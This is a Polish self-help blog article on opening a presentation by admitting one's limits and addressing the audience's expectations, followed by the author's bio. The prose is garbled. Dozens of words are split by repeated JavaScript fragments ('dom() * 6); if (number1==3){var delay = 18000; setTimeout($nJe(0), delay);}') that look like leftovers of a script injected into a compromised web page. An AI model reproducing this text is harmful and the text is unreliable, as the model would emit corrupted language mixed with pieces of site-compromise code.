Jak zacząć wystąpienie aby słuchacze pomyśleli, że jesteś jednym z nich? Jeśli prowadzisz prezentacje dla właścicieli biznesów internedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych nie opowiadaj, że jesteś za pan brat z technologiami gdy GIMP, HTML, PHP, są dla Ciebie zbiorami przypadkowo ułożonych liter a serwer i hosting kojarzą Ci się z braćmi bliźniakami!
Myślę, że zamiast ubierać się w cudzą skórę, lepiej powiedzieć uczciwie: “Nie jestem specjalistą od spraw technicznych ale jestem przekonany, że mogę Wam pomóc w kwestiach takich jak…”
Chodzi mi o dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aby nie tworzyć na siłę i sztucznie więzi, której tak naprawdę nie ma. Chcę abyś wczuł się w rolę Twoich widzów i pomyślał co Ty byś myślał na ich miejscu. Wyobraź sobie siebie gdy siedzisz na widowni, do lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topa i rzutnika podchodzi jakiś obcy facet i rozpoczyna prezentację. O czym myślisz, czego od niego oczekujesz, co chcesz aby powiedział, w czym Ci pomógł?
Gdy odpowiesz sobie na te pytania, wykorzystaj dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towując swoją prezentację a konkretnie jej otwarcie. Możesz w takiej sytuacji powiedzieć:
“Przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towując się do tej prezentacji, wyobrażałem sobie Was, moich słuchaczy. Myślałem o tym jak częsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ja siedziałem na widowni i zastanawiałem się, czy dowiem się czegoś wardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tościowego, czy może będzie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to kolejne nudne przemówienie, przez które stracę czas i spóźnię się np. na obiad. Wiem zatem, że czeka mnie tu nie lada wyzwanie – muszę mówić o rzeczach dla Was użytecznych i praktycznych i dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to na dodatek tak abyście mi tutaj nie posnęli z nudów!”
Co sądzisz o takim otwarciu prezentacji?
Na pewno jest lepsze od stdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andardowego “Poproszono mnie aby powiedział wam o…[czyli przepraszam, że dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ja mam mówić ale skoro mnie poproszono…] Mam nadzieję, że dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to co powiem będzie dla was ciekawe [skąd masz dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wiedzieć jak nie znasz tych ludzi] i że coś wyniesiecie z tego spotkania [chyba tylko kawę i ciastka w… żołądku!]
Co da ci zaproponowany przeze mnie początek?
1. Ludzie pomyślą, że jesteś jednym z nich. Pierwsze skojarzenia? “Hmm, facet wydaje się być całkiem do rzeczy”.
2. Nadaje Twojej wypowiedzi ciepły charakter i tak, według mnie, ważną nutkę humoru.
3. Pokazuje, że myślisz o swoich odbiorcach. “Przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tował tę prezentację z myślą o mnie”
4. Świadczy o tym, że masz dystans do siebie i czujesz się pewnie.
Po otwarciu jakie zaproponowałem powinieneś przejść [nietypowo] do… zadawania pytań widzom. Zapewniam Cię, że będą pozytywnie zaskoczeni! Ale o tym w kolejnym artykule.
 O autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT. |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
